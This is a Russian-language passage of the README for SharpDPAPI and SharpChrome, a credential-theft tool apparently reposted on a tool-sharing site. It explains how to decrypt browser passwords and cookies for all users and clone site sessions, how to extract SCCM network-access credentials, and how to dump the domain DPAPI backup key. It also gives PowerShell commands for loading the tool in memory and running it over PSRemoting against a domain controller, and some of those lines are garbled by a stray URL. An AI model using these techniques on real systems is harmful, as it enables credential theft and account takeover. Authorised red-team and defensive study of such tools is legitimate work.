При поиске файла или папки укажите путь через /path:C:\Path\to\file\or\folder и при необходимости используйте /maxBytes:<int>, чтобы задать количество байтов для чтения из каждого файла (по умолчанию: 1024 байта). Команда будет читать байты с начала файла и искать DPAPI-блобов. Используйте /showErrors, чтобы отображать ошибки, возникающие во время перечисления.

При поиске base64-блоба укажите base64-закодированные байты для сканирования с помощью параметра /base64:<base64 str>.

SCCM

Если работа выполняется с повышенными привилегиями на машине, являющейся клиентом SCCM, и в среде SCCM настроена учетная запись сетевого доступа (NAA), можно получить защищенные системным мастер-ключом DPAPI-блобые, содержащие учетные данные NAA, через WMI. Команда SCCM запрашивает эти блобые через WMI, получает системные мастер-ключи и расшифровывает их.

SharpChrome Commands

logins

Команда logins выполняет поиск файлов 'Login Data' браузера Chrome и расшифровывает сохраненные пароли для входа. Если выполнение происходит в среде без повышенных привилегий, для попытки расшифровки значений автоматически используется CryptProtectData(). Если указан /browser:edge, обрабатывается более новый браузер Edge на основе Chromium.

Файлы Login Data также можно расшифровать с помощью: a) любых переданных мастер-ключей "{GUID}:SHA1 {GUID}:SHA1 ...", b) файла /mkfile:FILE, содержащего одно или несколько сопоставлений {GUID}:SHA1, c) предоставленного резервного ключа домена DPAPI (/pvk:BASE64... или /pvk:key.pvk) для предварительной расшифровки любых пользовательских мастер-ключей, или d) пароля /password:X для расшифровки любых пользовательских мастер-ключей, которые затем используются как таблица поиска для дешифрования. Сопоставления GUID DPAPI можно восстановить с помощью команды Mimikatz sekurlsa::dpapi.

Конкретный файл Login Data можно указать с помощью /target:FILE. Можно указать удаленный /server:SERVER, если также предоставлен /pvk или /password. При обработке более новых экземпляров Chrome/Edge можно указать ключ состояния AES /statekey:X.

По умолчанию данные входа отображаются в формате csv. Это можно изменить с помощью /format:table для вывода в виде таблицы. Кроме того, по умолчанию отображаются только записи с ненулевыми значениями паролей, но все значения можно отобразить с помощью /showall.

Если команда запущена с повышенными привилегиями, будут обработаны файлы Login Data для ВСЕХ пользователей, в противном случае — только для текущего пользователя.

cookies

Команда cookies выполняет поиск файлов 'Cookies' браузера Chromium и расшифровывает значения cookie. Если выполнение происходит в среде без повышенных привилегий, для попытки расшифровки значений автоматически используется CryptProtectData(). Вы можете изменить целевое приложение с помощью аргумента /browser:<VALUE> (например, edge, brave, slack).

Файлы Cookies также можно расшифровать с помощью: a) любых переданных мастер-ключей "{GUID}:SHA1 {GUID}:SHA1 ...", b) файла /mkfile:FILE, содержащего одно или несколько сопоставлений {GUID}:SHA1, c) предоставленного резервного ключа домена DPAPI (/pvk:BASE64... или /pvk:key.pvk) для предварительной расшифровки любых пользовательских мастер-ключей, или d) пароля /password:X для расшифровки любых пользовательских мастер-ключей, которые затем используются как таблица поиска для дешифрования. Сопоставления GUID DPAPI можно восстановить с помощью команды Mimikatz sekurlsa::dpapi.

Конкретный файл Cookies можно указать с помощью /target:FILE. Можно указать удаленный /server:SERVER, если также предоставлен /pvk или /password. При обработке более новых экземпляров Chrome/Edge можно указать ключ состояния AES /statekey:X.

По умолчанию cookie отображаются в формате csv. Это можно изменить с помощью /format:table для вывода в виде таблицы или /format:json для вывода, импортируемого EditThisCookie. Кроме того, по умолчанию отображаются только записи с неистекшими cookie, но все значения можно отобразить с помощью /showall.

Если команда запущена с повышенными привилегиями, будут обработаны файлы Cookies для ВСЕХ пользователей, в противном случае — только для текущего пользователя.

Команда cookies также имеет аргументы /cookie:REGEX и /url:REGEX, позволяющие возвращать только имена cookie или URL-адреса, соответствующие указанному регулярному выражению. Это полезно в сочетании с /format:json для простого клонирования доступа к определённым сайтам.

statekeys

По умолчанию команда statekeys выполняет поиск приложений на основе Chromium (Google Chrome, Edge, Brave и Slack), находит их файлы ключей состояния AES (например, 'AppData\Local\Google\Chrome\User Data\Local State' и 'AppData\Local\Microsoft\Edge\User Data\Local State') и расшифровывает их, используя те же типы аргументов, которые можно указать для cookies и logins. Вы также можете указать путь к конкретному файлу ключа состояния с помощью параметра /target: (например, "/target:C:\Users\Test\appdata\Local\Google\Chrome\User Data\Local State").

Ключи состояния также можно расшифровать с помощью: a) любых переданных мастер-ключей "{GUID}:SHA1 {GUID}:SHA1 ...", b) файла /mkfile:FILE, содержащего одно или несколько сопоставлений {GUID}:SHA1, c) предоставленного резервного ключа домена DPAPI (/pvk:BASE64... или /pvk:key.pvk) для предварительной расшифровки любых пользовательских мастер-ключей, или d) пароля /password:X для расшифровки любых пользовательских мастер-ключей, которые затем используются как таблица поиска для дешифрования. Сопоставления GUID DPAPI можно восстановить с помощью команды Mimikatz sekurlsa::dpapi.

Если команда запущена с повышенными привилегиями, будут обработаны ключи состояния для ВСЕХ пользователей, в противном случае — только для текущего пользователя.

backupkey

Команда backupkey получает резервный ключ домена DPAPI с контроллера домена с помощью подхода API LsaRetrievePrivateData из Mimikatz. Этот закрытый ключ затем можно использовать для расшифровки блобов мастер-ключей любого пользователя в домене. И что ещё лучше, ключ никогда не меняется ;)

Для получения ключа с удаленного контроллера домена требуются права администратора домена (или аналогичные).

Флаг /nowrap предотвращает перенос base64-ключа при отображении.

Этот base64-блоб ключа можно декодировать в двоичный файл .pvk, который затем можно использовать с модулем Mimikatz dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk или в виде блоба/файла /pvk:X с командами masterkeys, credentials или vault SharpDPAPI.

По умолчанию SharpDPAPI пытается определить текущий контроллер домена через вызов API DsGetDcName. Сервер можно указать с помощью /server:COMPUTER.domain.com. Если вы хотите сохранить ключ на диск, а не выводить его в виде base64-блоба, используйте /file:key.pvk.

Инструкции по компиляции

Мы не планируем выпускать скомпилированные бинарники для SharpDPAPI, поэтому вам придется скомпилировать его самостоятельно :)

SharpDPAPI собран под .NET 3.5 и совместим с Visual Studio 2019 Community Edition. Просто откройте файл проекта .sln, выберите "Release" и выполните сборку.

Компиляция под другие версии .NET

Конфигурация сборки SharpDPAPI по умолчанию предназначена для .NET 3.5, что приведет к ошибке на системах, где эта версия не установлена. Чтобы скомпилировать SharpDPAPI под .NET 4 или 4.5, откройте файл решения .sln, перейдите в Project -> SharpDPAPI Properties и измените "Target framework" на нужную версию.

Примечание: запуск SharpDPAPI через PowerShell

Если вы хотите запустить SharpDPAPI в памяти через обертку PowerShell, сначала скомпилируйте SharpDPAPI и закодируйте полученную сборку в base64:

root@kitploit:~
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\SharpDPAPI.exe")) | Out-File -Encoding ASCII C:\Temp\SharpDPAPI.txt

Затем SharpDPAPI можно загрузить в скрипте PowerShell следующим образом (где "aa..." заменяется на строку base64-кодированной сборки SharpDPAPI):

root@kitploit:~
$SharpDPAPIAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))

Затем можно вызвать метод Main() и передать любые аргументы:

root@kitploit:~
[SharpDPAPI.Program]:https://raw.githubusercontent.com/ghostpack/sharpdpapi/HEAD/:Main(%22machinemasterkeys%22)

Дополнительное примечание: запуск SharpDPAPI через PSRemoting

Из-за того, как PSRemoting обрабатывает вывод, нам нужно перенаправить stdout в строку и вернуть её вместо этого. К счастью, у SharpDPAPI есть функция, которая помогает с этим.

Если вы выполнили инструкции из Примечание: запуск SharpDPAPI через PowerShell для создания SharpDPAPI.ps1, добавьте в скрипт что-то вроде следующего:

root@kitploit:~
[SharpDPAPI.Program]:https://raw.githubusercontent.com/ghostpack/sharpdpapi/HEAD/:MainString(%22machinemasterkeys%22)

Затем вы сможете запустить SharpDPAPI через PSRemoting с помощью чего-то вроде:

root@kitploit:~
$s = New-PSSession dc.theshire.local
Invoke-Command -Session $s -FilePath C:\Temp\SharpDPAPI.ps1

В качестве альтернативы аргумент SharpDPAPI /consoleoutfile:C:\FILE.txt перенаправит все потоки вывода в указанный файл.

Скачать инструмент
  • cookies
  • statekeys
  • backupkey
  • Инструкции по компиляции
    • Нацеливание на другие версии .NET
    • Примечание: запуск SharpDPAPI через PowerShell
      • Примечание к примечанию: запуск SharpDPAPI через PSRemoting
  • credentials
    /mkfile:FILE
    /pvk:BASE64...
    /pvk:key.pvk
    masterkeys
    /password:X
    sekurlsa::dpapi